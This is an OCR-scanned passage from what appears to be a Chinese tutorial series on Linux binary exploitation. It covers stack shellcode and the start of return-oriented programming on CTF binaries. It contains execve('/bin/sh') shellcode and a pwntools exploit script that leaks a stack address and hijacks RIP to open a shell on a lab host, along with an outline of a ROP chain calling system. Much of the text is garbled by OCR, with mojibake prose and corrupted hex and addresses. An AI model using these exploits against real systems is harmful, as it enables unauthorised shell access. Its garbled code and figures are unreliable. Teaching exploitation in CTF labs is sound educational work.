[stack]:B88087FFDCEA72873 BB 2F 2F 62 69 6E ZF+mov rbx, 68732FGEG9622F2Fh
[stack]:00007FFDCEA72870 48 CT-EB 08 shr rbx, 8

[[stack]:B80007FFDCEA72881 53 push rbx

[stack]:B0007FFDCEA72882 48 89 E7 . nov rdi, rsp

[stack] :88087FFDCEA72885 50 xﬁx‘aﬁ push rax

[stack] :B0007FFDCEA72886 57 Hb“&h rdi

[stack] :B0087FFDCEA72887 48 89 E6 nnu\;si, rsp
[stack] : DOBO7FFDCEA7288A BD 3B noy a[:~3§p

[Stack]:P0OB7FFDCEAT2E8C OF 05 syscall s
[stack]:00007FFDCEA7288E 90 nop ™ ghellcodefifERBAL
[stack]:P0O07FFDCEAT288F 90 nop \
[stack] :888B7FFDCEA72898 90 nop i i gy
[stack]:00007FFDCEA72891 90 AL B TERon nop TEANTFRYE B I \
[stack]:BB087FFDCEA72892 90 G nop \
UNENCWN 00007FFDCEATZ88A y@{:nlzed with RIP) \

: [stack] : 0000TFEDORAT288A (s i i .
< , \
L e
i View-1 O & x | [T Stack view

jopoeBLBBAAD FF 48 89 C2 48 BD 45 E@ A48 89 C6 A8 89 D7 [Sxink\gf A ﬂﬂBB}‘FDCEn?ZSﬁﬂ BOAOABBRREBBOA A2

BooBB4BBABD FD FF FF BE 90 08 40 00 48 89 C7 E8 CO FD FF FF rﬂﬂﬂﬂiLLﬂLLﬂLZﬂﬁﬂ__ﬂﬂﬂﬁﬂﬂﬂnﬂﬂﬂﬂﬂﬂfﬁ_1lain*
BOBOFFFDCEA72870  622F2FBB4BD23148

1080A6LABACH BE 84 6D 40 B0 BF AB 28 68 00 E8 91 FD FF FF 48

160000400ADO 8D 45 EO BA 40 00 00 00 48 89 C6 BF 0O 00 00 00 |00BO7FFDCEA72878 EBC14868732F6E6Q

1680864 BBAED 48 83 F8 ©4 @F 9E CO 84 0O 74 3F |9BBB7FFDCEA72B80 485750E789485388
|00BO7FFDCEAT 2888 9090050F35BUE689

pooee40BAFD BE 90 OD 40 00 BF AD 20 60 00 E8 61 FD FF FF BE
100EBLO0EAG 90 08 40 B0 48 89 C7F E8 74 FD FF FF BE AD BD 4B "

I i
.
H BHE HHY ) 1] y/rg

19000ALORB10 B0 BF A 20 60 00 E8 45 FD FF FF BE 90 08 40 00
ifooep4OBE2Z0 48 89 C7 E8 58 FD FF FF B8 FF FF FF FF EB 05 BB
ipOBBBLOBB30 00 8@ 08 60 C9 C3 55 48 B89 E5 48 83 EC 10 89 7D
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[tack] :0ORO7FFDCEATZ80D 0O db

8 ~ o
® ltack]:00007FFDCEAT286E 00 b 0 i
® ltack] :000B7FFDCEAT286F L] "
t:ﬁ.‘}.““mmnunm o a RCT OUO07FZADIBICET0 b libe_2.24.50:read+18
- .
tack]:00007FFDCEAT2870 48 31 D2 xor rdx, rdx RD% 0BO0ANAAORAREN0 «.

tack]:00007FFDCEATZB73 48 BB 2F 2F 62 69 GE ZF+mov
‘tack]:000807FFDCEA72870 48 C1 EB B8
tack]:08007FFDCEAT2881 53

RSI 00OOTFFDCEAT2BTO W [stack]:00R0TFFOCEAT2ET0
RDT BROAADAODAADAADD
REP 9090909 090909090
RSP OOOOTFFDCEAT2B98 w [stack]:000B7FFDCERT2898

rbx, G8732FGE696G22F2Fh
b, &

tack] :00007FFDCEAT2ERS 58 push rax

b1
.
o
“ |tack] :080B7FFDCERT2886 57 push  rai RIP BODO7FFDCEA72882 W [stack]:00007FFDCEA72082
* ltack]:00007FFDCEAT2887 48 89 E6 nov rsi, rsp RE ODROTFZABIDETTON v debugBil: BOBO7F2ARIDET 700
“ tack]:PeBB7FFDCEAT288A BO 3B nou al, 3Bh RO BOOOTFZAB3IDESSDD w libc 2.24.so:_[0_2 1_stdoeut_
© ltack]:00007FFDCEAT2E8C OF BS syscall R10 BOODODRBONBONITE .
© tack]:00AB7FFDCEATZEBE 90 nop
© tack]:B@E07FFDCEAT2ESF 90 nop UL ©
* ‘tack]:@0087FFDCEAT2898 90 no A1z Ge0UCRU0BEREGENY 4 Start
* ltack] :00007FFDCEAT2891 00 n.;éj;=- ush bk, rbalf{E N, ﬁfﬁﬁ R13 0BOO7FFDCEAT2978 W [stack]:00887FFDCEA72970
© ltack]:0@807FFDCEAT2E9Z 90 noj ﬁ%ﬂ:ﬁ{:ﬁ TEENIFRTE Bk R4 BBOR0OROBEGA0R0E .
X X R15 0000000A0RO00000 .
UNENOWN 00007FFDCEAT2882: [stack]:00007FFDCEAT2882 (Synchronized th RIF) “ |EFL 0800202
< >
5 Hex Viev-1 \n & x [T Stack view
5] Hex View-1 \D & x ||[@ Stack view

DOORORDORSOBARA  FF 48 89 C2 48 8D 45 E0 48 89 C6 48 89 D7 E8 BD - ~ ||[DODOTFFDCEAT2850 Immmmn
ARRRBAAGRLAPAER FD FF FF BE 90 08 40 @0 48 89 C7 EB CO FD FF FF GARO7FFOCEAT2B58  AOOO7F2ADMIPA168  debugdls:_r_debug+28
AAREAABARLABACE BE 84 @D 40 G0 BF AG 20 60 @AOB7FFDCEAT2860 O000BORO0ABARRGZ
BHOBORBERSOBADA 8D 45 EO Ba 4O 0D B0 00 48 OROBYFFDCEAT2868  DOOROBODORLOOAES main+13F
0000000084 00HED [ L] @RAO7FFOCEAT2BYH  622F2FBB4BD23148
GRE0A0AAELABAFE BE 90 G0 40 00 BF AD 20 60 @A0OFFFDCEAT287E EBC1486B732ZFGEGY
0ORROABERLOBEE0 90 08 4O 00 48 89 C7 EB 74 FD FF FF BE AD 8D 40 @AOO7FFDCEATZ880 NBS57SBE789485308

FD

B8

89

5

HORODADDBLOOE1R 00 BF AD 20 60 0D EB 45 BOOO7FFOCEAT2B88 909 0050F IBB OE6EY

ABA0AA0ABLARE?A 48 B9 C7 E8 58 FD FF FF
OOOO7FFDCEAT28A0  FFFFFFFFFFFFFFFF

GB0DOOPOEBNOBE3A 00 00 88 B8O C9 C3 55 48
dopdoRaRR0BBLA  FC B9 75 F8 83 7D FC @

 |tack] -00007FFDCERT2870 | U RCX BO0B7F2A03B1C898 1, Libc 2.24.soiread+10
¥ ltack]:80067FFDCEA72870 48 31 D2 xor rdx, rdx D11 HODBE 0N O ERORE DN K,
L tack] :000B7FFDCEA72E73 4B BB 2F 2 2 69 G6E 2F+mov rbx, 68732F6E69622F2Fh RST BOBA7FFDCEA72870 » [stack]:000B7FFDCEAT2B70
: ‘tack):80007FFDCEA7287D 48 C1 EB 08 shr rbx, 8 RDI DROO7FFDCEA72898 & [stack]:@00RTFFOCEATZE98
© ack) O0UOIFIDGER?ZRS? A8 39 7 Mou  ral, b5 sl L LR
. tack};nsuwnnnznunas s ueh rasr P RSP 00B07FFOCEN72890 & [stack]:00007FFDCEA72890
P RIP DODO7FFDCEA72886 v [stack]:0BOO7FFDCEA72886
“ |tack] :00007FFDCEAT2887 48 89 E6 moy rsi, rsp RE B0BO7F2AB3DEZ7O0 & debugODl:BODBIF2ZABIDETT 0O
" |tack] :A0@A7FFDCEA7288A BO 3B noy 3Bh RY OBBO7FZAB3DEG6OA w 1ibc 2.24.so:_I0_2_1_stdout_
© ack] -0007FFOCERTZBBE 90 S sttty
“ Itack] :BO0A7FFDEEATZB8F 90 nop PRI LU 2R G
¥ |tack] :00087FFDEEA72B9D 6O a0 | R12 00000000004008BD v start

tack] : DBBO7FFDCEA72891 ; R13 000O7FFOCEN72970 & [stack]:00007FFDCEA72970
* |tack]:00007FFOCEA72891 00 a @ R14 D0DOBOBOODDOODND o

. i R15 QRBBRARRABARGAEA .

UNENCWN 00007FFDCEAT2890: [stack] :00007TFFDCEAT2850 (Synchronized with R ~ | EFL 000822

<
Hex View-1 O & x |[@s

JO0EDOBONADANG FF 48 B9 CZ 48 BD 45 EO 48 89 C6 48 69 D7 E8 BD
100000AA4APAES FD FF FF BE 90 08 40 00 48 89 C7 EB CO FD FF FF
§9AEAAA4EPACA BE B4 9D 40 @0 BF AP 20 60 0B EB 91 FD FF FF 48
DEDEEDBEYERADE BD 45 EO BA 4O DO 00 08 48 89 C6 BF 00 00 00 0O
DOO0BOOBLODAE D 48 83 F8 04 OF 9E CO 84 CO 7h 3F
1OOEADAA4ARAFA BE 99 00 40 80 BF A® 20 60 OB E8 &1 FD FF FF BE
§ORE00AA4EPEEE 90 @8 40 OB 48 89 C7 ES 74 FD FF FF BE AD @D 48
DEDEEDEBYEOE10 00 BF AD 20 60 B0 E8 &5 FD FF FF BE 90 08 40 00
JBOOBOBANBOEZ0 &8 B9 C7 EB 58 FD FF FF BR FF FF FF FF EB 05 BE
100000AALAREI0 08 OO 0 OO €Y €3 55 &8 B89 ES 48 63 EC 10 89 7D
1EEEEDAA4EREE FC 89 75 FB 83 70 FC @1 75 27 81 7D F8 FF FF 0@
pROEODEBNBDES® @8 75 1E BF BY 21 60 @@ E8 B3 FC FF FF BA 78 28

main+13F

DRBBBDRBRBLBBAES
B70 | 622F2FBB4BD23148
@ARETFFOCEAT2BEE | EBC14B68732F6EGY
AOBBTFFOCEAT2B80 | 485750E7BONBS308
@OBOTFFOCEAT2B88 | 909005 0F 3BBOEGRY

@ORRTFFOCEA7ZB98 DOGB732FGE69622F

0BO07FFDCEA728A8  FFFFFFFFFFFFFFFF

@OBOTFFOCERT2BA8  OOOB7FFDCEAT2978 [stack]:BOBOTFFDCERT
08007FFDCEA728B0 08008001 0000006:

@0007FFOCEA72ZBEE  0BAGBAOORBLOBTAE main
00007FFDCEA7ZEBCO 0000D0ODOODODOOD0

ittt kebeaif ot ok ' G GRSt
St ack] ZRnRIERORERTIST A :u:f::ﬁ::::fuau N 1ibe_2.2h.s0:reads10
* |[stack]:BOOOTFFDCEA72E70 48 31 D2 xor rdx, rdx G 1ibe_2-20.s0:rea
* |[stack]:00007FFOCEAT2873 48 BB 2F 2F 62 69 6E 2F+mou rbx, 687B2F6E69622F2Fh RD¥ 0000000000000000
| 48 C1 EB 08 shr rbx, & X 072870 [stack]:00007FFDCEAT2870
L4 [stack]:BB087FFDCEAT28B1 53 push rhx [stack]:00007FFOCEAT2898
© |[stack]:0B007FFOCEA72882 48 89 E7 mav rdi, rsp R
| :
! |[stack]:o007FFocEA72885 50 push  rax u [stack]: 08007FFDCEAT2600
} & [stack]:00007FFDCEA72687
°| [[stack]:00007FFOCEAT2REY 28 A7 CE FD 7F 08 [rdi+7FFOEER], ah RE DODOTF2A0IDETZON & AeDUgET :O0RUTF2ADIVET 7 0D
stack]: 00007FFDCEAT2RE9 : 9 BBO07FZA0IDEGEO0 & Libc 2 2% s0: [0_2_1_stdout_
: [zl:zk BOO7FFDCENT2R90 00 ﬁ : JOCEL IO TLL D)
* |[stack]:00007FFDCEA7ZES1 DD db 0 NORAODOANE o
* [[stack]:00007FFDCEATZ892 0D a0 LG LLLLLLL AL L) G GRS o
© [ stack]:00007FFOCERT2893 00 P . |[m1a ownozerbeEn72970 & [stack]: 00007 FoCER72970
* |[stack]:00007FFOCERT2B9H 0O a0 shellcoﬁmﬁnﬁﬁrdl R1% 0000000000000000
LS o~ R15 BOOOO0DOADDOOND <
UNKNOWN 00007FFDCEA72873: [stack]:00007FFDCEAT2873 (Synchronized with RIP) v |(|er( opoonzoz
< >

=




OB

Hex View- 0 &'\x ||[E Stack view

GOOD00DDNROARD FF H8 89 C2 48 8D 45 EO A8 B9 C6 M8 89 D7 ES BD .H..H.E.H..H.... Elﬂﬂ?FFDBE"?zaS" 0000RRENERNN0AAN

Q00000 ARABD FD FF FF BE 90 OB 40 D0 A8 BY C7 EB CO FD FF FF  ......@.H.c....s ‘ (REBOFFFDCEAZZESE  DODO7F2ABMITAI6E  debugis:_r_debug+28
0RRDO0OYAEACD BE B4 0D 40 0D BF AQ 20 60 00 ES 91 FD FF FF 48 ...@... " sl {ORDZFFOCENTZEGO  DOODORADODODONOZ

GORDDDDNOBADD 8D 45 ED BA 40 0D 00 DD AB 89 C6 BF 00 00 00 0D .E. H . (ROBO7FFDCEN/ZB6E  DOODOOAB0DNOORES nain+13F

|BYOO7FFDCEATZETE  G2ZF2FBBWBD23 148
ﬂﬂﬂ?FFBFFn??ﬁ?B EBCﬂtEEB?SZFGEB?

80800004 BOAE B 48 83 F8 @4 OF 9E CO 84 CO 74 3F ;.
8ADOANOLARAFG BE 96 0D 4O 00 BF A0 20 60 @@ EB 61 FD FF FF BE ...
0AR0000LAREDD 90 08 L0 @0 48 89 C7 EB 74 FD FF FF BE AD 0D 40 ..
BADOO0D4ORE10 00 BF A 20 60 00 E8 45 FD FF FF BE 90 08 40 00
0HODAOO4AEB2G 48 89 C7 E8 58 FD FF FF B8 FF FF FF FF ED 05 B8 W

-mmraczn:.

................

| [stack]: 00007FFOCEATZ898

X sk EFshe | |code IR B IATAT AR, EE:Fshellcode?ﬁHTLhzﬂPE’qush wE—ENSENITE

push rdi Z[EHBEENTT S Hishel lcodesk . EHFKNELBIE—NFE Eshel Icode, EAFITHIHITH

E. £TFshel lcodeNFHk, FTERIEFERIE.

HERINE LM Eshel | codeTIZIEH R G IR At F_FEA24 DN F B S pushiFH kM S FREBK,

% it 5 % AT LAE)#% B 0x40=64 N F 5. LEE XX N B o el F7ER Bl bt 2 [FIE B 16N FHH

FEAE. RIBXMAKEERERMER, push rdiITET—FIESHESHIEN, FLIHRITATAEEID

shel lcodefEpush raxFlpush rdiZ B #FAEMEL, tAfpush rdi ZfGRUshel Icode HEE A8 FTS, /INF16

FI, AUEN.

ETRENEZEEEANXBERDEE—RIIT. BNFIE, FTLETHRCHRREIITIES EESH

ABLJLFH, call, retFlfkst. AIFARIES ST MEITES ﬂ#%El’Mklu, FEt (i1 2 REIE TR 15 FA Bk EE h A0

%%1’-“FEJI£$§jmp FATTIAEE FETEREITA Inte | FTFE HEFME b ZRHE R jmpX A FE RS, Rids=E
BREXNMERFFRE T —%. . .

.text:ﬂﬂﬂﬂﬂﬂﬂﬂﬂﬂhﬂﬂﬂzD EB 85 jmp short llll:l'et Hl*Sll
.text:0000000000408B2F ;

.text:0000000000400B2F

.text:0000000000400B2F loc_400B2F : ; CODE XREF:
.text:0000000000400B2F BS 00 00 00 00 mov eax, @
.text:0060060000400B34

.text:0000000000400B34 locret_400B34: ; CODE XREF:
.text:0000000000400B34 C9 leave

MEFATLLEL jmp short locret 400B34KY=FF5FL2EB 05, TR, jmpiafkit (ESE L jmpHIBKAEBF/L
) MWFBEEEB. ETHHAEER5MAR0x34-0x2D=0x07, ZEFIEEZM impl T—&IES AT
B9, FEitk, FROTLALEZETSFAIAMEshe | |codeZ [B)HkEEREES N A90x18, PRLURINZESE —E%shel |code
EEBIF T \xeb\x18, RMANFT thRIGFEE R E—Eishel Icode N E#Hrdi FEEE. FTLUEMABIA
mnT:

#!/usr/bin/python

#coding:utf-8

from pwn import *
context. update (arch = '"amdé4', os = 'linux', timeout = 1)
io = remote('172.17.0.3', 10001)

#shel lcode = "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\
x89\xe7\x50\x57\x48\x89\xeb6\xb0\x3b\x0f\x05"

#R1EHshe | Icode. HIFshel lcodefii T4 L, &1TEIpush rdiBtRINIELFE] T \x89\xe6\xb0\x3b\x0f\x05
&, rdifNESBESEXIDshel lcode, NTTSHMITRM, FAUFENHH#AITHRS

#xor rdx, rdx

#mov rbx, 0x68732f6e69622f2f

#shr rbx, 0x8

#push rbx
#mov rdi, rsp
#push rax
#push rdi
#mov rsi, rsp
#mov al, 0x3b

#syscal |
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shel lcodel = "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\
x89\xe7\x50"

#E—EBSrshel lcode, WEBIE, BHEIMpush rdiizH

#xor rdx, rdx

#mov rbx, 0x68732f6e69622f2f

#shr rbx, 0x8

#push rbx

#mov rdi, rsp

#push rax

shel lcodel += "\xeb\x18"
#EA— Bk Bk tpush ridiSHRAEIE, FELEFE 5 shel | codeREINT
#jmp short $+18h

shel lcode2 = "\x57\x48\x89\xe6\xb0\x3b\x0f\x05"
#88 —#R4 shel lcode

#push rdi

#mov rsi, rsp

#mov al, 0x3b

#syscal |

print io.recvuntil ("Location:") #EHLE] "Location: ", RIEEMEME
i SR B % btk

shellcode_address_at_stack = int(io.recv() [0:14], 16) #I5 5t 5 1 SR ARt ik M 25T SR 5 4R A
e

log. info("Leak stack address = %x", shellcode address_at_stack)

payload = ""

payload += shellcodel #HtEEEE —E% shel I code

payload += "\x90"* (0x28-len (shellcode1)) HEEFFHAREIHKPIRTFHRIPA, 1t
L3RR T Z=IE4SN0P, BI\x90{EAETEFFF

payload += p64(shellcode address_at_stack) ##Eshe | |code AR ZERURRELIE, %hdF
RIPE|iZ bt LA I Tshe | Icode

payload += shellcode2 #HHEEE — Ef shel I code

io. send (pay | oad)
io. interactive ()

B (IRBEHIEFL S 2 ERHBFEXTH)
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Linux pwn Al 13XilEG3)—ROPErh

f£%: Tangerine@SAINTSEC

I 0x00 &=

£ E—RHIER (shellcodeMIER) —Fidh, HANRBILTAFTMRIX=FEML. BR, WRE—TIAFER
BAE W B, RMRTEREAEARBE, MRRETHITX B, SABIAEFTHHEIshel lcodei T
ERIT. RTINS AELTMRIT, ARALURAEFIREFHEREIPFIread () /scanf () /gets ) FiK
BHSERNBRIELNBEAFNER. BARNELABRENELFXHFREBRXAFTIR? LK
A ATERFS S AR h 5 F | DAROREEGECEr | + S

Choose segment to jump m} *
Start End L es 55 ds fs
0B04818C 0B04B1AF L FFFFFF.. FFFFFF... FFFFFF...
08048180 0B0482A0 L
L
_libc_freeres_fn L . FFFFFF.. FFFFFF..
{48 _libc_thread_freeres_fn 080BCIED 080BC27E R L FFFFFFE.. FFFFFF.. 0014 FFFFFF... FFFFFF..
[& fini 080BC280 080BC294 R L FFFFFE.. FFFFFF.. 0014 FFFFFF... FFFFFF..

A @ .rodata 0BOBC2A0 080D6ECC R L FFFFFE.. FFFFFF.. 0014 FFFFFF.. FFFFFE..

b [# _libc_subfreeres 0BODEECC 080DEEF4 R L FFFFFE.. FFFFFF.. 0014 FFFFFF... FFFFFE..

& _libc_10_vtables 0BODET00 080DE6ASE R L FFFFFF.. FFFFFF.. 0014 FFFFFF... FFFFFF...
@_libc_atexit 0B0DEASS 0BODEASE R L FFFFFF.. FFFFFF... 0014 FFFFFF... FFFFFF...
@_Iibc_thlead_subfreeres 0B0ODEASE 0BODEASC R L FFFFFF.. FFFFFF.. 0014 FFFFFF... FFFFFF..
[& .eh_frame 0B0DEAST 0BOESEES R L FFFFFF.. FFFFFF. 0014 FFFFFF... FFFFFF..
gec_except_table 0BOE96ES 0B0E9784 R . . L FFFFFF.. FFFFFF. 0014  FFFFFR. FFFFFF..
OBOEAFSC OBOEAFEC R W . L FFFFFF.. FFFFFE.. 0014  FFFFFE. FFFFFF..
OBOEAFEC OBOEAF74 R W . L FFFFFF.. FFFFFF.. 0014 FFFFFF... FFFFFF..
OBOEAFTS OBOEAFTC R W . L FFFFFF.. FFFFFF.. 0014 FFFFFF... FFFFFF..
OBOEAFTC OBOEAFBO0 R W. L FFFFFE.. FFFFFF.. 0014 FFFFFF.. FFFFFE..
[# .data.rel.ro OBOEAFB0 OBOEAFFO R W. L FFFFFE.. FFFFFF.. 0014 FFFFFF.. FFFFFE..
.got.plt 0BOEBOOO OBOEB048 R W. L FFFFFFE.. FFFFFF.. 0014 FFFFFF... FFFFFE..
.data OBOEBOED OBOEBFB0 R W . L FFFFFF.. FFFFFF.. 0014 FFFFFF... FFFFFF..
[E Jbss OB0EBFB0 0BOECDEC R W . L FFFFFF.. FFFFFF.. 0014 FFFFFF... FFFFFF...
_libc_freeres_ptrs 0B0ECDEC 0BOECED4 R W . L FFFFFF.. FFFFFF.. 0014 FFFFFF... FFFFFF..
thss 0BOECEO4 0BOECETC R W . L FFFFFF.. FFFFFF.. FFFFFF.. FFFFFF. FFFFFF..
FE abs 0BOECEIC 0BOECE28 LRI L para 0017 public 32 FFFFFR.. FFFFFF. FFFFFF.. FFFFFF. FFFFFF..
Cancel Search Help

Line 3 of 24

| Choose segment to jump F

1 Name Start End R W X D L Align Base Type  Class AD  es 55 ds fs qs al g

~ _the_same 08043000 0804818C R X D . byte 0000 public CODE 32 0000 0000 0000 0000 0000

¥ 0804818C 080481AF R X . L dword 0001 public CODE 32 FFFFFF.. FFFFFF.. D014 FFFFFF... FFFFFF...

# @ not_the_same 080481AF 08043180 R X D byte 0000 public CODE 32 0000 0000 0000 0000 N

i 08048180 R X . i FFFFFF.. FFFFFF..

[n . 8 [ C i X )

i {88 not_the_same 0B0BBTHC 080BBTTO R . X D . byt 0000 0000 1
@_Iibc_freefes_fn 080BBTTO 080BC1DD R . X . L para 0004 public CODE 32 FFFFFF.. FFFFFF.. 0014 FFFFFE.. FFFFFE.. =
ot_the_same 0BOBCIDD 0B0BC1ED R . X D . byt 0000 public CODE 32 0000 0000 0000 0000 0000

A8 be_thread_freeres_fn 0BOBCIED 080BC2TE R . X . L para 0005 public CODE 32 FFFFFF.. FFFFFF.. 0014 FFFFFE.. FFFFFF..

B not_the_same 080BC2TE 080BC280 R . X D . byt 0000 public CODE 32 0000 0000 0000 0000 0000

o @ fini 080BC280 080BC294 R . X . L dword 0006 public CODE 32 FFFFFF.. FFFFFF.. 0014 FFFFFF.. FFFFFF..
not_the_same 080BC294 080BC2A0 R . X D . byt 0000 public CODE 32 0000 0000 o000 0000 0000

i odata DB0BC2AD 080D66ECC R . L 32byte 0007 public  CONST 32 FFFFFF.. FFFFFF.. D014 FFFFFF... FFFFFF..

be_subfreeres 080D66CC 080D6EF4 R . L dword 0008 public  CONST 32 FFFFFF.. FFFFFF.. D014 FFFFFE.. FFFFFE..

o @ not_the_same 080D66F4 080D6700 R . X D byte 0000 public CODE 32 0000 0000 0000 0000 0000

E be_O_vtables 080D6700 080DGAS4 R L 32byte 0009 public  CONST 32 FFFFFF.. FFFFFF.. 0014 FFFFFF.. FFFFFF.. E

-_atexit 0BODGASS 080DEASE R L dword 000A  public CONST 32 FFFFFF.. FFFFFF.. 0014 FFFFFF.. FFFFFF..

Tl bec_thread_subfreeres  0BODGASS 080DBASC R L dword 000B public CONST 32 FFFFFF.. FFFEFF.. 0014 FFFFFF.. FFFFFE.. |

b .eh_frame 080DEASC 0B80E96EE R L dword 000C public  CONST 32 FFFFFF.. FFFEFF.. 0014 FFFFFF.. FFFFFE..

l, @ .goc_except_table 0B0ESGES 0B0ESTE4 R L byte 000D public  CONST 32 FFFFFF.. FFFFFF.. 0014 FFFFFE.. FFFFFE..

1 @ not_the_same 080E9784 0B0EA000 R . X D . bye 0000 public CODE 32 0000 0000 0000 0000 0000

1 DB0EADOD 0B0EAFSC R W. D byte 0000 public  DATA 32 0000 0000 0000 0000 0000

OBOEAFSC OBOEAFGC R W. L dword 000E public  DATA 32 FFFFFF.. FFFFFF.. 0014 FFFFFF.. FFFFFF..
OBOEAFGC 0B0EAFT4 R W . L dword O00F public DATA 32 FFFFFF... FFFFFF.. 0014 FFFFFF.. FFFFFF.. 3
DBOEAFT4 0B0EAFTC R W . L dword 0010 public  DATA 2 FFFFFF.. FFFFFF.. 0014 FFFFFF... FFFFFE..
DBOEAFTC 0B0EAFBD R W . L dword 0011 public  DATA 32 FFFFFF.. FFFFFF.. D014 FFFFFE.. FFFFFF. i
Cancel Search Help
7 Line 5 of 40

FEE E—REREDHGE, EMpwntools B HIchecksec S BIRFEEHARIXER. R, BHTIERF
A REAEEITH A Amprotect O, mmap O FERHEZSEQHSE R BRXBHIAER, U LEFETRERFE

32




BIUTE

RE.

BESRI i E (R AB B ZERWXEE A ET1 S Ashe | [codeH 1T, BrEl&E (1t aE4EZ], FEitk, —= ANXL (No
eXecute bit) FIFAEIMT . XE2—MECPULSIMMWRER AR, XMIFERERUBIEFIESEM ARt
ITTHZ. BIRMEARBERANER (i) ENBEET AW HRIESIT, BEEXEME. AT1ZF
IFAERRER, ZAIEZEENEFETRE Ashel lcodetITHARBARKETIER. Eit, HNAFTEZI—H
EZHET I AR—ROP (Return—Oriented Programming, R[EIS[E4RIE)

B, ROPEEZEAIREITESretERREBMN—MEAR (FIBERTLUFER jmpRFIIESMcal 1385, AR
BB SITRH A AIOP/COP) . — NEFFUARSHELERY, MERBSBretiis. KIMIE, retisd
IR B Rpop eip, BNIEHARINMABIEAAFIIEHITHEE . MROPHEFI A GEHEXR EHE—RIIN
Fibht, FNRERIEITN—1gadget, @umUmNmH#%Q%EM—¢h£ﬁhv,ﬁﬁ—A&—

Rk ITEANDIEE. AT XELHRIESAKRRMBEETIES BEANIT, MENEXRLEANRZERN
Fibht, BFHEE, FTLUX MR LB MGRENX R

| 0x01 EEROPIERgOtRPES

BARBNKE 86 THIE FROP, FAVFEITXEHFRERIMAAR—NFETeotRPBIREFHITFHIH
S8, BT /RedHat 2017-pwn1/pwnl, ATLATREBE B ZImainiE M EAMKRE :
int _ cdecl main{)

{
int vi; ¢/ [sp+18h] [bp-28h]e1

puts{“pun test");
fflush(stdout);
__is0c99_scanf("%s™, &u1);
printf("%s", &u1);
return 1;
H

TEvIFE Ut fEbp-28h4t, BT EEK L, MMAFERR__isoc99_scanf AIREIKE, FELLEATHZ KN
)\ﬁ‘%iﬁﬁﬁff‘ﬁfﬁtﬂo :

ZF ﬁFTNXﬁ*F FRIARIARFATA T gEFshel lcodedTFF— A shel |, IRIBZBIXERRE, HNRESHE
B EHHsystemBH NI Tsystem( “/bin/sh” ). ABAFATMNBBE AT A BlsystemF” /bin/sh” Bg?
F—NEER, FAVHEFASHENIEFSNERRANE, AT AEGOTRFNPLT R &k B of #xd R A IR
(iﬁFE'JIEEP?&‘ﬂH ﬁ?*ﬁiﬁﬁ;) EJH??'J got. pltﬁx, KRIMNENIEFEERFSN T systemF .

.qut.plt:UHBhRuBL off_8B4sAB0C dd uFFset printf ; DATA XREF: printfir
“ |.got.plt:0804A010 off_804AD180 dd offset fflush ; DATA XREF: _fflushir
* |.got.plt:0804A014 off_SO4AB1A fld_0 el ; DATA XREF: putstr
* |.got.plt:88040018 off_S04AB1S ; DATA XREF: _systenfr
“ |-got.plt:0804A01C off_8O4AnO1C dd offset _ gmon start__ ; DATA XREF: __ gmon_start fr
.got.plt:0804A020 off_8040n028 dd offset _ libc_start_main
.got.plt:0804A020 ; DATA XREF: _ libc_start mainir
" |-got.plt:0804A024 off_B04AB2Y dd offset _ isoc99_scanf ; DATA XREF: __ isoc99_scanfir
.got.plt:e8e4a024 got_plt ends

BRTHE MM ERINRFEEZEFE DO, BENREFNERRITEELXIFERSE “/bin/sh”
BRIEFEH__isoc99_scanf, EATATLUAAXMNEEBSRIEE” /bin/sh” ZHFHRBHABENES. TEIEA]
SR I FEROPEE

BHEBENEE—T “/bin/sh” EFBERMIZHEW. BT FIKAHECLr I+SIRIFBEBREFNAESE, HNE
F|0x0804a030FF 5 AN AL A BRI AT8F T HMblE, BiZiit RNSEASLREMN, FA1ATAEEINFEFRIET)
XE,

33
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1 [§] choose segment to jump [m] x E
Name Start End W X D L Align Base Type  Class s 55 ds fs qs d

3 5 roaata uBU4Bo 18 UBUSBDLL .. . L awora  wwU3  pUDIC  LUNSI FEFFFF. FEFEFR. WUUL FEFFFE. PREFFR.
L eh frame_hdr 0804862C 08048660 . . . L dword 0006 public CONST FFFFFF... FFFFFF.. 000D  FFFFFF.. FFFFFF..
i @ eh frame 08048660 08048730 . . . L dword 0007 public CONST FFFFFF... FFFFFF.. 000D FFFFFF... FFFFFF...
3 @ pwni 08048730 08049000 . XD byte 0000  public CODE 0000 0000 0000 0000 0000 1
3 @ pwnl 08049000 08049F08 . . D . byte 0000  public CONST 0000 0000 0000 0000 0000
g Jnit_array 0B049F08 0B8049F0C W . . L dword 0008 public DATA FFFFFF.. FFFFFF.. 000D  FFFFFF.. FFFFFR.. o
| @ finiarray 08049F0C 08049F10 w . L dword 0009 public DATA FEFFFE.. FFFEFF.. 000D  FFFFFE. FEFFEE. | |
s Jjer 08049F10 08049F14 W . . L dword O00A public  DATA FFFFFF.. FFFEFF.. 000D FFFFFF.. FFFFFF..
a pwnl 08049F14 0B8049FFC . . D . byt 0000 public  CONST 0000 0000 0000 0000 0000
J@ gct 0B049FFC w . L dword 000B pubhc DATA FFFFFF.. FFFFFF.. 000D FFFFFF... FFFFFF..

w . FFFFFF... FFFFFF.. FFFFFF... e

W

pubt
public

TEVE

AODDDRDRNDADIADVNAERNDDDRIRNDININDEI

A & pwm 0B04ADE4 08041 . D . byte 0000  public DATA |
libc_2.24.50 F7D60000 F7F14000 X D . byte 0000 public CODE
5| B libe_2.24.50 FTF14000 FTF16000 . D . byte 0000  public CONST b
3| @ libe_2.24.50 F7F16000 F7F17000 . D . byt 0000  public DATA
5| @ debug001 F7F17000 FTF1ADD0 W . D . byt 0000 public  DATA
3| [ debug0o2 F7F1E000 F7F21000 W . D . byte 0000 public DATA
; @ [wvar] FTF21000 FTF24000 . . D . byte 0000 public  CONST
[# [vdso] FTF24000 FTF26000 . X D . byte 0000 public CODE
L Id_2.24.50 F7F26000 F7F49000 . X D . byte 0000 public CODE |
| @ 1d_2.2450 FTF48000 FTF4AD00 . . D . byt 0000  public CONST il
o @ 1d_22450 FTF4A000 F7F4B000 W . D . byte 0000  public DATA L
+ [ [stack] FFE46000 FFE67000 W. D . byte 0000  public DATA v
] Co ] ot | sl
E Line 20 of 34
FTenrQl cranficanck rhar =
?%T;E?jdl]?"ziu lsoc99 _scanfHIB—1EH “%s” AL F0x08048629
.rodata: 08048620 s db pwn test’,0 ; DATA XREF: main+970
® |.rodata:08048629 ; char format[]
.rodata: 08048629 format db '%s',0 : DATA XREF: main+2aTo
.rodata: 08048629 ; main+3ETo
